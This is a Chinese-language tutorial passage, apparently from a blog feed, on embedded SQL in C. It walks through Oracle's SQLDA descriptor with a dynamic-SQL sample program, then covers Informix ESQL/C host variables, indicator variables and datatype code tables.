<P>外部数据类型 代码 C数据类型 
<P>VARCHAR2 1 char[n] <BR>NUMBER 2 char[n] (n 22) <BR>INTEGER 3 int <BR>FLOAT 4 float <BR>STRING 5 char[n+1] <BR>VARNUM 6 char[n] (n 22) <BR>DECIMAL 7 float <BR>LONG 8 char[n] <BR>VARCHAR 9 char[n+2] <BR>ROWID 11 char[n] <BR>DATE 12 char[n] <BR>VARRAW 15 char[n] <BR>RAW 23 unsigned char[n] <BR>LONG RAW 24 unsigned char[n] <BR>UNSIGNED 68 unsigned int <BR>DISPLAY 91 char[n] <BR>LONG VARCHAR 94 char[n+4] <BR>LONG VARRAW 95 unsigned char[n+4] <BR>CHAR 96 char[n] <BR>CHARF 96 char[n] <BR>CHARZ 97 char[n+1] <BR>MLSLABEL 106 char[n] 
<P>当ORACLE从用户程序中接收参数值并向用户程序传送查询结果时，就在自己的内部数据格式与它所运行的计算机系统的数据格式之间自动进行数据转换。DESCRIBE SELECT L IST命令可以返回ORACLE的内部数据类型。对于字符数据，内部数据类型同外部数据类型是相一致的；而有些内部数据类型对应到外部数据类型后，导致处理复杂化，如：你想将NUMBER数据类型的值处理为C中的FLOAT，那么你可以设置相应的T值为FLOAT（4）和L值为FLOAT的长度。在FETCH时，ORACLE自动在内部数据类型和外部数据类型之间转换。 
<P>在DB2的SQLVAR结构中，列的说明信息、数据等存放在一个单独的sqlvar结构中。而在ORACLE数据库中，不存在一个单独的结构来说明每列的信息。而是通过数组的方式实现。如下图所示，描述了1个输入参数，参数名为bonus。假设的最大参数个数为3。 
<P>
<P>
<P>
<P>
<P>
<P>
<P>
<P>
<P>
<P>
<P>
<P>
<P>
<P><BR>SQLDA结构<BR>N=3<BR>V<BR>L<BR>T<BR>I<BR>F=1 describe设置<BR>S<BR>N<BR>C<BR>X<BR>Y<BR>Z<BR>图6-5 SQLDA结构示例 
<P>下面这个例子是一个adhoc程序。用户输入任何合法的SQL语句（可以带参数），该程序能够处理这个语句，并打印出结果。这个例子非常经典，说明使用SQLDA的两个功能。 
<P><BR>#include &lt;stdio.h&gt;<BR>#include &lt;string.h&gt;<BR>#include &lt;setjmp.h&gt; 
<P>/* 列的最大数目或宿主变量的最大个数*/<BR>#define MAX_ITEMS 40<BR>/* 列名的最大长度或指示符的最大长度*/<BR>#define MAX_VNAME_LEN 30<BR>#define MAX_INAME_LEN 30<BR>#ifndef NULL<BR>#define NULL 0<BR>#endif 
<P>char *dml_commands[] = {"SELECT", "select", "INSERT", "insert",<BR>"UPDATE", "update", "DELETE", "delete"};<BR>EXEC SQL BEGIN DECLARE SECTION;<BR>char dyn_statement[1024];<BR>EXEC SQL VAR dyn_statement IS STRING(1024);<BR>EXEC SQL END DECLARE SECTION;<BR>EXEC SQL INCLUDE sqlca;<BR>EXEC SQL INCLUDE sqlda;<BR>SQLDA *bind_dp;<BR>SQLDA *select_dp;<BR>extern SQLDA *SQLSQLDAAlloc();<BR>extern void sqlnul(); 
<P>/* Define a buffer to hold longjmp state info. */<BR>jmp_buf jmp_continue; 
<P>/* A global flag for the error routine. */<BR>int parse_flag = 0; 
<P>main()<BR>{<BR>int oracle_connect();<BR>int alloc_descriptors();<BR>int get_dyn_statement();<BR>int set_bind_variables();<BR>int process_select_list();<BR>int i; 
<P>/*连接到数据库 */<BR>if (oracle_connect() != 0)<BR>exit(1);<BR>/* 为SQLDA分配空间*/<BR>if (alloc_descriptors(MAX_ITEMS, MAX_VNAME_LEN, MAX_INAME_LEN) != 0)<BR>exit(1);<BR>/* 处理SQL 语句*/<BR>for (;;) <BR>{<BR>i = setjmp(jmp_continue);<BR>/* 获取SQL语句。输入"exit"表示退出 */<BR>if (get_dyn_statement() != 0)<BR>break;<BR>/* 对该SQL语句做PREPARE操作 */<BR>EXEC SQL WHENEVER SQLERROR DO sql_error();<BR>parse_flag = 1; /* Set a flag for sql_error(). */<BR>EXEC SQL PREPARE S FROM :dyn_statement;<BR>parse_flag = 0; /* Unset the flag. */<BR>/*声明游标*/<BR>EXEC SQL DECLARE C CURSOR FOR S;<BR>/* 提示用户输入参数值*/<BR>set_bind_variables();<BR>/* 打开游标 */<BR>EXEC SQL OPEN C USING DESCRIPTOR bind_dp; 
<P>/* 处理语句，并输出结果*/<BR>process_select_list(); 
<P>/*输出处理的行数. */<BR>for (i = 0; i &lt; 8; i++)<BR>{<BR>if (strncmp(dyn_statement, dml_commands[i], 6) == 0)<BR>{<BR>printf("\n\n%d row%c processed.\n",<BR>sqlca.sqlerrd[2],<BR>sqlca.sqlerrd[2] == 1 ? '\0' : 's');<BR>break;<BR>}<BR>}<BR>} /* end of for(;;) statement-processing loop */ 
<P>/* 释放申请的空间*/<BR>for (i = 0; i &lt; MAX_ITEMS; i++)<BR>{ <BR>if (bind_dp-&gt;V[i] != (char *) 0)<BR>free(bind_dp-&gt;V[i]);<BR>free(bind_dp-&gt;I[i]); /* MAX_ITEMS were allocated. */<BR>if (select_dp-&gt;V[i] != (char *) 0)<BR>free(select_dp-&gt;V[i]);<BR>free(select_dp-&gt;I[i]); /* MAX_ITEMS were allocated. */<BR>} 
<P>SQLSQLDAFree(SQL_SINGLE_RCTX, bind_dp);<BR>SQLSQLDAFree(SQL_SINGLE_RCTX, select_dp); 
<P>EXEC SQL WHENEVER SQLERROR CONTINUE;<BR>/* 关闭游标*/<BR>EXEC SQL CLOSE C; 
<P>EXEC SQL COMMIT WORK RELEASE;<BR>puts("\nHave a good day!\n"); 
<P>EXEC SQL WHENEVER SQLERROR DO sql_error();<BR>return;<BR>} 
<P>/*连接数据库函数*/<BR>oracle_connect()<BR>{<BR>EXEC SQL BEGIN DECLARE SECTION;<BR>VARCHAR username[128];<BR>VARCHAR password[32];<BR>EXEC SQL END DECLARE SECTION;<BR>/提示用户输入用户名*/<BR>printf("\nusername: ");<BR>fgets((char *) username.arr, sizeof username.arr, stdin);<BR>fflush(stdin);<BR>username.arr[strlen((char *) username.arr)-1] = '\0';<BR>username.len = strlen((char *) username.arr);<BR>/*提示用户输入口令*/<BR>printf("password: ");<BR>fgets((char *) password.arr, sizeof password.arr, stdin);<BR>fflush(stdin);<BR>password.arr[strlen((char *) password.arr) - 1] = '\0';<BR>password.len = strlen((char *) password.arr);<BR>EXEC SQL WHENEVER SQLERROR GOTO connect_error;<BR>/*连接数据库*/<BR>EXEC SQL CONNECT :username IDENTIFIED BY :password;<BR>printf("\nConnected to ORACLE as user %s.\n", username.arr);<BR>return 0;<BR>/*连接错误处理*/<BR>connect_error:<BR>fprintf(stderr, "Cannot connect to ORACLE as user %s\n",<BR>username.arr);<BR>return -1;<BR>}<BR>/*为SQLDA分配空间*/<BR>alloc_descriptors(size, max_vname_len, max_iname_len)<BR>int size;<BR>int max_vname_len;<BR>int max_iname_len;<BR>{<BR>int i;<BR>/*SQLSQLDAAlloc的第一个参数是SQL语句的最大列数或输入宿主变量的最大个数。<BR>*第二个参数，是指列名的最大长度，或参数名的最大长度。<BR>*第三个参数，是指指示符变量名的最大长度。*/<BR>/*给SQLDA分配空间，下面这个SQLDA用于输入参数*/<BR>if ((bind_dp =<BR>SQLSQLDAAlloc(SQL_SINGLE_RCTX, size,<BR>max_vname_len, max_iname_len)) == (SQLDA *) 0)<BR>{<BR>fprintf(stderr, "Cannot allocate memory for bind descriptor.");<BR>return -1; /* Have to exit in this case. */<BR>}<BR>/*给SQLDA分配空间，下面这个SQLDA用于动态查询*/<BR>if ((select_dp =<BR>SQLSQLDAAlloc (SQL_SINGLE_RCTX, size,<BR>max_vname_len, max_iname_len)) == (SQLDA *) 0)<BR>{<BR>fprintf(stderr,"Cannot allocate memory for select descriptor.");<BR>return -1;<BR>}<BR>/*设置最大的列数，或最大的变量数*/<BR>select_dp-&gt;N = MAX_ITEMS; 
<P>/* 给存放指示符变量值和存放数据的变量申请空间。*/<BR>for (i = 0; i &lt; MAX_ITEMS; i++) {<BR>bind_dp-&gt;I[i] = (short *) malloc(sizeof (short));<BR>select_dp-&gt;I[i] = (short *) malloc(sizeof(short));<BR>bind_dp-&gt;V[i] = (char *) malloc(1);<BR>select_dp-&gt;V[i] = (char *) malloc(1);<BR>}<BR>return 0;<BR>}<BR>/*获得SQL语句，可略看*/<BR>get_dyn_statement()<BR>{<BR>char *cp, linebuf[256];<BR>int iter, plsql;<BR>int help();<BR>for (plsql = 0, iter = 1; ;)<BR>{<BR>if (iter == 1)<BR>{<BR>printf("\nSQL&gt; ");<BR>dyn_statement[0] = '\0';<BR>}<BR><BR>fgets(linebuf, sizeof linebuf, stdin);<BR>fflush(stdin); 
<P>cp = strrchr(linebuf, '\n');<BR>if (cp &amp;&amp; cp != linebuf)<BR>*cp = ' ';<BR>else if (cp == linebuf)<BR>continue;<BR>if ((strncmp(linebuf, "EXIT", 4) == 0) ||<BR>(strncmp(linebuf, "exit", 4) == 0))<BR>{<BR>return -1;<BR>}<BR>else if (linebuf[0] == '?' ||<BR>(strncmp(linebuf, "HELP", 4) == 0) ||<BR>(strncmp(linebuf, "help", 4) == 0))<BR>{<BR>help();<BR>iter = 1;<BR>continue;<BR>}<BR>if (strstr(linebuf, "BEGIN") ||<BR>(strstr(linebuf, "begin")))<BR>{<BR>plsql = 1;<BR>}<BR>strcat(dyn_statement, linebuf);<BR>if ((plsql &amp;&amp; (cp = strrchr(dyn_statement, '/'))) ||<BR>(!plsql &amp;&amp; (cp = strrchr(dyn_statement, ';'))))<BR>{<BR>*cp = '\0';<BR>break;<BR>}<BR>else<BR>{<BR>iter++;<BR>printf("%3d ", iter);<BR>}<BR>}<BR>return 0;<BR>}<BR>/*设置宿主变量的信息*/<BR>set_bind_variables()<BR>{<BR>int i, n;<BR>char bind_var[64]; 
<P>/* 通过DESCRIBE语句，将处理语句的参数名、数据类型等信息存放在bind_dp中*/<BR>EXEC SQL WHENEVER SQLERROR DO sql_error();<BR>bind_dp-&gt;N = MAX_ITEMS; /* Init. count of array elements. */<BR>EXEC SQL DESCRIBE BIND VARIABLES FOR S INTO bind_dp;<BR>/* F小于0，表示SQLSQLDAAlloc()分配的空间不够，即实际参数的个数超出预算的最大值. */<BR>if (bind_dp-&gt;F &lt; 0)<BR>{<BR>printf("\nToo many bind variables (%d), maximum is %d.\n",<BR>-bind_dp-&gt;F, MAX_ITEMS);<BR>return;<BR>}<BR>/* 将N（最大值）设置为实际的参数个数*/<BR>bind_dp-&gt;N = bind_dp-&gt;F;<BR>/* 提示用户输入参数值，并设置SQLDA的其他相关值，如：长度等。*/<BR>for (i = 0; i &lt; bind_dp-&gt;F; i++)<BR>{<BR>printf ("\nEnter value for bind variable %.*s: ",<BR>(int)bind_dp-&gt;C[i], bind_dp-&gt;S[i]);<BR>fgets(bind_var, sizeof bind_var, stdin); 
<P>/* 获得长度，去掉NULL结束符 */<BR>n = strlen(bind_var) - 1;<BR>/*设置参数长度 */<BR>bind_dp-&gt;L[i] = n;<BR>/* 分配存放参数数据的内存空间 */<BR>bind_dp-&gt;V[i] = (char *) realloc(bind_dp-&gt;V[i], (bind_dp-&gt;L[i] + 1)); <BR>/* 将数据放在这个内存空间中 */<BR>strncpy(bind_dp-&gt;V[i], bind_var, n);<BR>/* 设置指示符变量的值*/<BR>if ((strncmp(bind_dp-&gt;V[i], "NULL", 4) == 0) ||<BR>(strncmp(bind_dp-&gt;V[i], "null", 4) == 0))<BR>*bind_dp-&gt;I[i] = -1;<BR>else<BR>*bind_dp-&gt;I[i] = 0;<BR>/* 设置数据类型为CHAR，ORACLE会根据列的数据类型自动转换 */<BR>bind_dp-&gt;T[i] = 1;<BR>}<BR>}<BR>/*处理语句*/<BR>process_select_list()<BR>{<BR>int i, null_ok, precision, scale;<BR>/*如果不是查询语句，则设置F（即返回的列数）为0*/<BR>if ((strncmp(dyn_statement, "SELECT", 6) != 0) &amp;&amp;<BR>(strncmp(dyn_statement, "select", 6) != 0))<BR>{<BR>select_dp-&gt;F = 0;<BR>return;<BR>} 
<P>/* 如果是SELECT语句，则通过DESCRIBE函数返回列名、数据类型、长度和是否为NULL标志*/<BR>select_dp-&gt;N = MAX_ITEMS;<BR>EXEC SQL DESCRIBE SELECT LIST FOR S INTO select_dp;<BR>/* 如果F小于0。则表示比预定的列数要多。*/<BR>if (select_dp-&gt;F &lt; 0)<BR>{<BR>printf<BR>("\nToo many select-list items (%d), maximum is %d\n",<BR>-(select_dp-&gt;F), MAX_ITEMS);<BR>return;<BR>}<BR>/* 设置最大列数为实际列数*/<BR>select_dp-&gt;N = select_dp-&gt;F;<BR>/* 为每列分配空间。<BR>SQLNumberPrecV6() 函数的作用是从select_dp-&gt;L[i]获得精度和长度。<BR>SQLColumnNullCheck() 函数的作用是检查该列是否为NULL。*/<BR><BR>printf ("\n");<BR>for (i = 0; i &lt; select_dp-&gt;F; i++)<BR>{<BR>/* 关闭最高位*/<BR>SQLColumnNullCheck (&amp;(select_dp-&gt;T[i]),<BR>&amp;(select_dp-&gt;T[i]), &amp;null_ok); 
<P>switch (select_dp-&gt;T[i])<BR>{<BR>case 1 : /* CHAR */<BR>break;<BR>case 2 : /* NUMBER ，获得精度和范围*/<BR>SQLNumberPrecV6 (SQL_SINGLE_RCTX, &amp;(select_dp-&gt;L[i]), &amp;precision, <BR>&amp;scale);<BR>/* 如果精度为0，则设置为最大值40 */<BR>if (precision == 0) precision = 40;<BR>if (scale &gt; 0)<BR>select_dp-&gt;L[i] = sizeof(float);<BR>else<BR>select_dp-&gt;L[i] = sizeof(int);<BR>break; 
<P>case 8 : /* LONG*/<BR>select_dp-&gt;L[i] = 240;<BR>break; 
<P>case 11 : /* ROWID datatype */<BR>select_dp-&gt;L[i] = 18;<BR>break; 
<P>case 12 : /* DATE datatype */<BR>select_dp-&gt;L[i] = 9;<BR>break;<BR><BR>case 23 : /* RAW datatype */<BR>break; 
<P>case 24 : /* LONG RAW datatype */<BR>select_dp-&gt;L[i] = 240;<BR>break;<BR>}<BR>/* 申请空间给SQLDA来存放数据*/<BR>if (select_dp-&gt;T[i] != 2)<BR>select_dp-&gt;V[i] = (char *) realloc(select_dp-&gt;V[i],<BR>select_dp-&gt;L[i] + 1); <BR>else<BR>select_dp-&gt;V[i] = (char *) realloc(select_dp-&gt;V[i],<BR>select_dp-&gt;L[i]); 
<P>/* 输出列名*/<BR>if (select_dp-&gt;T[i] == 2)<BR>if (scale &gt; 0)<BR>printf ("%.*s ",select_dp-&gt;L[i]+3, select_dp-&gt;S[i]);<BR>else<BR>printf ("%.*s ", select_dp-&gt;L[i], select_dp-&gt;S[i]);<BR>else<BR>printf ("%-.*s ", select_dp-&gt;L[i], select_dp-&gt;S[i]); 
<P>/* 除了LONG RAW和NUMBER，其他数据类型转换为字符型数据类型*/<BR>if (select_dp-&gt;T[i] != 24 &amp;&amp; select_dp-&gt;T[i] != 2)<BR>select_dp-&gt;T[i] = 1; 
<P>/* 将 NUMBER数据类型转换为浮点型数据类型或int数据类型*/<BR>if (select_dp-&gt;T[i] == 2)<BR>if (scale &gt; 0)<BR>select_dp-&gt;T[i] = 4; /* float */<BR>else<BR>select_dp-&gt;T[i] = 3; /* int */<BR>}<BR>printf ("\n\n"); 
<P>/* 取出每一行数据*/<BR>EXEC SQL WHENEVER NOT FOUND GOTO end_select_loop;<BR>for (;;)<BR>{<BR>EXEC SQL FETCH C USING DESCRIPTOR select_dp; 
<P>/*输出列数据。除了float和int数据类型，其他数据类型都被转为字符型*/<BR>for (i = 0; i &lt; select_dp-&gt;F; i++)<BR>{<BR>if (*select_dp-&gt;I[i] &lt; 0)<BR>if (select_dp-&gt;T[i] == 4) <BR>printf ("%-*c ",(int)select_dp-&gt;L[i]+3, ' ');<BR>else<BR>printf ("%-*c ",(int)select_dp-&gt;L[i], ' ');<BR>else<BR>if (select_dp-&gt;T[i] == 3) /* int datatype */<BR>printf ("%*d ", (int)select_dp-&gt;L[i], <BR>*(int *)select_dp-&gt;V[i]);<BR>else if (select_dp-&gt;T[i] == 4)/* float datatype*/<BR>printf ("%*.2f ", (int)select_dp-&gt;L[i], <BR>*(float *)select_dp-&gt;V[i]);<BR>else /* character string */<BR>printf ("%-*s ",<BR>(int)select_dp-&gt;L[i], select_dp-&gt;V[i]);<BR>}<BR>printf ("\n");<BR>}<BR>end_select_loop:<BR>return;<BR>} 
<P>
<P>help()<BR>{<BR>puts("\n\nEnter a SQL statement or a PL/SQL block");<BR>puts("at the SQL&gt; prompt.");<BR>puts("Statements can be continued over several");<BR>puts("lines, except within string literals.");<BR>puts("Terminate a SQL statement with a semicolon.");<BR>puts("Terminate a PL/SQL block");<BR>puts("(which can contain embedded semicolons)");<BR>puts("with a slash (/).");<BR>puts("Typing \"exit\" (no semicolon needed)");<BR>puts("exits the program.");<BR>puts("You typed \"?\" or \"help\"");<BR>puts(" to get this message.\n\n");<BR>}<BR>sql_error()<BR>{<BR>int i; 
<P>/* ORACLE error handler */<BR>printf ("\n\n%.70s\n",sqlca.sqlerrm.sqlerrmc);<BR>if (parse_flag)<BR>printf("Parse error at character offset %d.\n",<BR>sqlca.sqlerrd[4]); 
<P>EXEC SQL WHENEVER SQLERROR CONTINUE;<BR>EXEC SQL ROLLBACK WORK;<BR>longjmp(jmp_continue, 1);<BR>} 
<P>
<P>SQLDA中的sqldata存放着指向数据的地址。你可以认为，如果查询出的数据是整数（如：258），那么这个地址是指向整数的地址（也就是说，INTEL是高位在后，低位在前。所以第一个字节为00000001，第二个字节为00000010），如果查询出的数据是字符（‘2'），那么这个地址是指向字符的地址(也就是说，第一个字节为00110010—2的ASCII码)。又因为，sqldata声明的是指向字符的指针，所以，你必须按照不同的数据类型做转换，即：对于整数，应该是（*（int *）sqldata)，告诉系统，sqldata目前指向的数据应该按照整数来解释。如果按照字符来解释，那么第一个字符是ASCII值为1的字符，显然不正确。从数据库向sqldata赋值时，是直接赋值。如：*p=*q，*（P+1）=*（Q+1）。如果从数据库查询出数据为258，则存放在sqlda中也是258，存放格式为：第一个字节为00000001，第二个字节为00000010。你可以执行以下语句，来体会上述论述。<BR>#include &lt;stdio.h&gt;<BR>main()<BR>{ <BR>int li_i;<BR>int * lp_int;<BR>char * lp_char;<BR>char lc_char;<BR>li_i=258;<BR><BR>lp_char=malloc(10);<BR>lp_int=lp_char;<BR>*lp_int=258;<BR>/*(lp_char+2)='\0';*/<BR>printf("*lp_char=%d\n",*((int *)lp_char));<BR>printf("*lp_char=%s\n",lp_char);<BR>return;<BR>} 
<P>第五节INFORMIX的嵌入SQL/C语言<BR>5.1 一个简单的入门例子<BR>例1、查询customer表中所有lname的第一个字符小于C的顾客信息。<BR>#include &lt;stdio.h&gt;<BR>/*定义两个常量*/<BR>EXEC SQL define FNAME_LEN 15;<BR>EXEC SQL define LNAME_LEN 15;<BR>main()<BR>{<BR>/*声明宿主变量*/<BR>EXEC SQL BEGIN DECLARE SECTION;<BR>char fname[ FNAME_LEN + 1 ];<BR>char lname[ LNAME_LEN + 1 ];<BR>EXEC SQL END DECLARE SECTION;<BR>printf( "DEMO1 Sample ESQL Program running.\n\n");<BR>/*出错处理，如果返回错误信息，则停止该程序*/<BR>EXEC SQL WHENEVER ERROR STOP;<BR>/*连接到stores7数据库*/<BR>EXEC SQL connect to 'stores7';<BR>/*声明一个游标*/<BR>EXEC SQL DECLARE democursor cursor for<BR>select fname, lname<BR>into :fname, :lname<BR>from customer<BR>where lname &lt; 'C';<BR>/*打开游标*/<BR>EXEC SQL open democursor;<BR>/*如果SQLSTATE不等于“00”，那么表示到达了数据集的尾部（02），或者产生了错误（大于02）*/<BR>for (;;)<BR>{<BR>EXEC SQL fetch democursor;<BR>if (strncmp(SQLSTATE, "00", 2) != 0)<BR>break;<BR>printf("%s %s\n",fname, lname);<BR>}<BR>/*打印错误信息*/<BR>if (strncmp(SQLSTATE, "02", 2) != 0)<BR>printf("SQLSTATE after fetch is %s\n", SQLSTATE);<BR>/*关闭游标*/<BR>EXEC SQL close democursor;<BR>/*释放游标占用的资源*/<BR>EXEC SQL free democursor;<BR>/*断开数据库服务器的连接*/<BR>EXEC SQL disconnect current;<BR>printf("\nDEMO1 Sample Program over.\n\n");<BR>}<BR>从上面这个例子，我们看出嵌入SQL的基本特点是：<BR>1、每条嵌入式SQL语句都用EXEC SQL开始，表明它是一条SQL语句。这也是告诉预编译器在EXEC SQL和“；”之间是嵌入SQL语句。<BR>2、如果一条嵌入式SQL语句占用多行，在C程序中可以用续行符“\”，在Fortran中必须有续行符。其他语言也有相应规定。<BR>3、每一条嵌入SQL语句都有结束符号，如：在C中是“；”。<BR>4、嵌入SQL语句的关键字不区分大小写。<BR>5、可以使用“/*….*/”来添加注释。<BR><BR>从上面这个例子看出，INFORMIX数据库的嵌入SQL语句的格式同其他数据库基本相同。但是，它也有它自己本身的一些特点。本节把重点放在INFORMIX数据库所独有的一些语句或处理方式。<BR>5.2 宿主变量<BR>宿主变量就是在嵌入式SQL语句中引用主语言说明的程序变量。如：<BR>EXEC SQL connect to :hostvar; <BR>1）、定义宿主变量<BR>方法1：采用BEGIN DECLARE SECTION 和END DECLARE SECTION之间给主变量说明。如：<BR>EXEC SQL BEGIN DECLARE SECTION;<BR>char fname[ FNAME_LEN + 1 ];<BR>char lname[ LNAME_LEN + 1 ];<BR>EXEC SQL END DECLARE SECTION;<BR>方法2：在每个变量的数据类型前加上“$”。如：<BR>$int hostint;<BR>$double hostdbl;<BR>ESQL/C对宿主变量的大小写敏感。但是，ESQL/C的关键字、语句标志符、游标名大小写不敏感。在SQL语句中，除了使用“:”来标志宿主变量外，还可以使用“$”。当然，“:”是ANSI标准。如：EXEC SQL connect to $hostvar。对于注释，可以使用“--”，也可以使用标准的“/*…*/”。<BR>2）、宿主变量和NULL<BR>方法1：使用指示符变量。<BR>方法2：使用函数risnull()和rsetnull()。<BR>3）、指示符变量<BR>大多数程序设计语言（如C）都不支持NULL。所以对NULL的处理，一定要在SQL中完成。我们可以使用主机指示符变量来解决这个问题。在嵌入式SQL语句中，宿主变量和指示符变量共同规定一个单独的SQL类型值。指示变量和前面宿主变量之间用一个空格相分隔。如：<BR>EXEC SQL select lname, company<BR>into :name INDICATOR :nameind, :comp INDICATOR :compind<BR>nameind是name变量的指示符，而compind是comp变量的指示符。<BR>可以通过以下三种方法使用指示符变量：<BR>方法1、使用INDICATOR关键字。<BR>:hostvar INDICATOR :indvar <BR>方法2、<BR>:hostvar :indvar<BR>方法3、使用$符号。<BR>$hostvar $indvar。<BR>无论采用哪种方法，都是实现指示符变量的作用。即：当宿主变量hostvar应该返回NULL时，指示符变量为-1。当宿主变量hostvar应该返回不是NULL而且无需截断时，指示符变量为0。当返回值太大而需要截断时，指示符变量是截断前数据的长度。SQLSTATE会返回01004错误信息。请看下面这个例子：<BR>EXEC SQL BEGIN DECLARE SECTION;<BR>char name[16];<BR>char comp[20];<BR>short nameind;<BR>short compind;<BR>EXEC SQL END DECLARE SECTION;<BR>EXEC SQL select lname, company<BR>into :name INDICATOR :nameind, :comp INDICATOR :compind<BR>from customer<BR>where customer_num = 105;<BR>如果对应105的company为NULL，则compind小于0，如果lname的结果大于15个字节，那么name包含前15个字符。<BR>4）、宿主变量的数据类型<BR>INFROMIX ESQ/C的宿主变量数据类型除了标准C的数据类型外，可以是它自己定义的数据类型。如：<BR>lvarchar数据类型<BR>EXEC SQL BEGIN DECLARE SECTION;<BR>varchar varc_name[n + 1];<BR>EXEC SQL END DECLARE SECTION;<BR>lint8数据类型<BR>EXEC SQL BEGIN DECLARE SECTION;<BR>int8 int8_var1;<BR>ifx_int8_t int8_var2;<BR>EXEC SQL BEGIN DECLARE SECTION;<BR>lfixchar数据类型<BR>EXEC SQL BEGIN DECLARE SECTION;<BR>boolean flag;<BR>fixchar my_boolflag;<BR>int id;<BR>EXEC SQL END DECLARE SECTION;<BR>lDecimal数据类型<BR>#define DECSIZE 16<BR>struct decimal<BR>{<BR>short dec_exp;<BR>short dec_pos;<BR>short dec_ndgts;<BR>char dec_dgts[DECSIZE];<BR>};<BR>typedef struct decimal dec_t;<BR>lDatetime数据类型<BR>EXEC SQL include datetime;<BR>EXEC SQL BEGIN DECLARE SECTION;<BR>datetime year; /* will cause an error */<BR>datetime year to day year, today; /* ambiguous */<BR>EXEC SQL END DECLARE SECTION;<BR>lInterval hour等数据类型<BR>EXEC SQL BEGIN DECLARE SECTION;<BR>interval day(3) to day accrued_leave, leave_taken;<BR>interval hour to second race_length;<BR>interval scheduled;<BR>EXEC SQL END DECLARE SECTION;<BR>l其他数据类型<BR>EXEC SQL BEGIN DECLARE SECTION;<BR>loc_t my_simple_lo;<BR>EXEC SQL END DECLARE SECTION;<BR>my_simole_lo.loc_loctype = LOCMEMORY;<BR>l在INFORMIX数据库中，'\0'表示为NULL。如：<BR>id = 1;<BR>flag = '\0'; /* valid boolean assignment to FALSE */<BR>EXEC SQL insert into table2 values (:id, :flag); /* inserts FALSE */<BR>在以SQL为基础的DBMS支持的数据类型与程序设计语言支持的数据类型之间有很大差别。如果你通过宿主变量从数据库取值，或者通过宿主变量向数据库插入值，都存在数据类型转换的问题。<BR>下表列出了C的数据类型、ESQL/C定义的数据类型和SQL数据类型的兼容关系： 
<P>SQL数据类型 ESQL/C定义的数据类型 C的数据类型 
<P>BOOLEAN boolean <BR>BYTE loc_t <BR>CHAR(n) <BR>CHARACTER(n) fixchar [n] 或string [n+1] char [n + 1] 或 char *<BR>DATE date 4-byte integer <BR>DATETIME datetime或ordtime_t<BR>DECIMAL decimal或dec_t<BR>DEC decimal或dec_t<BR>NUMERIC decimal或dec_t<BR>MONEY decimal或dec_t <BR>FLOAT double<BR>DOUBLE double<BR>PRECISION double <BR>INT8 int8或ifx_int8_t <BR>INTEGER 4-byte integer<BR>INT 4-byte integer <BR>INTERVAL interval or intrvl_t<BR>LVARCHAR lvarchar char [n + 1] orchar *<BR>NCHAR(n) fixchar [n] orstring [n+1] char [n + 1] orchar *<BR>NVARCHAR(m) varchar[m+1] orstring [m+1] char [m+1] <BR>SERIAL 4-byte integer <BR>SERIAL8 int8 or ifx_int8_t <BR>SMALLFLOAT float<BR>REAL float <BR>SMALLINT 2-byte integer <BR>TEXT loc_t <BR>VARCHAR(m,x) varchar[m+1] or string [m+1] char d[m+1] <BR>BLOB ifx_lo_t <BR>CLOB ifx_lo_t <BR>LIST(e) collection<BR>MULTISET(e) collection <BR>Opaque data type lvarchar,fixed binary或var binary<BR>ROW(...) row <BR>SET(e) collection 
<P>下表是INFORMIX数据库服务器支持的数据类型和类型代码： 
<P>SQL数据类型 类型代码 类型代码值 
<P>CHAR SQLCHAR 0<BR>SMALLINT SQLSMINT 1<BR>INTEGER SQLINT 2<BR>FLOAT SQLFLOAT 3<BR>SMALLFLOAT SQLSMFLOAT 4<BR>DECIMAL SQLDECIMAL 5<BR>SERIAL SQLSERIAL 6<BR>DATE SQLDATE 7<BR>MONEY SQLMONEY 8<BR>DATETIME SQLDTIME 10<BR>BYTE SQLBYTES 11<BR>TEXT SQLTEXT 12<BR>VARCHAR SQLVCHAR 13<BR>INTERVAL SQLINTERVAL 14<BR>NCHAR SQLNCHAR 15<BR>NVARCHAR SQLNVCHAR 16<BR>INT8 SQLINT8 17<BR>SERIAL8 SQLSERIAL8 18<BR>LVARCHAR SQLLVARCHAR 43<BR>BOOLEAN SQLBOOL 45<BR>SET SQLSET 19<BR>MULTISET SQLMULTISET 20<BR>LIST SQLLIST 21<BR>ROW SQLROW 22<BR>Varying-length<BR>opaqueType SQLUDTVAR 40<BR>Fixed-length<BR>opaque type SQLUDTFIXED 41<BR>SENDRECV<BR>(client-side only) SQLSENDRECV 44 
<P><BR>下表是ESQL/C定义的数据类型和类型代码，这些定义存放在各个头文件中。 
<P>ESQL/C数据类型 类型代码 类型代码值 
<P>char CCHARTYPE 100<BR>short int CSHORTTYPE 101<BR>int4 CINTTYPE 102<BR>long CLONGTYPE 103<BR>float CFLOATTYPE 104<BR>double CDOUBLETYPE 105<BR>dec_t或decimal CDECIMALTYPE 107<BR>fixchar CFIXCHARTYPE 108<BR>string CSTRINGTYPE 109<BR>date CDATETYPE 110<BR>dec_t或decimal CMONEYTYPE 111<BR>datetime或dtime_t CDTIMETYPE 112<BR>loc_t CLOCATORTYPE 113<BR>varchar CVCHARTYPE 114<BR>intrvl_t 或interval CINVTYPE 115<BR>char CFILETYPE 116<BR>int8 CINT8TYPE 117<BR>collection (Universal<BR>Data Option) CCOLTYPE 118<BR>lvarchar CLVCHARTYPE 119<BR>fixed binary CFIXBINTYPE 120<BR>var binary (Universal<BR>Data Option) CVARBINTYPE 121<BR>boolean CBOOLTYPE 122<BR>row (Universal Data<BR>Option) CROWTYPE 123 
<P>INFORMIX的ESQL/C提供了很多函数来处理数据类型，这些函数的参数就是ESQL/C定义的数据类型。如：dectoasc()的作用是转换数据类型是decimal的值为ASCII。<BR></P>]]></description>
</item><item>
<title><![CDATA[ESQL/C资料(完全版)二]]></title>
<link>http://blogger.org.cn/blog/more.asp?name=xueflhg&amp;id=7285</link>
<author>xueflhg</author>
<pubDate>2005/7/18 10:33:03</pubDate>
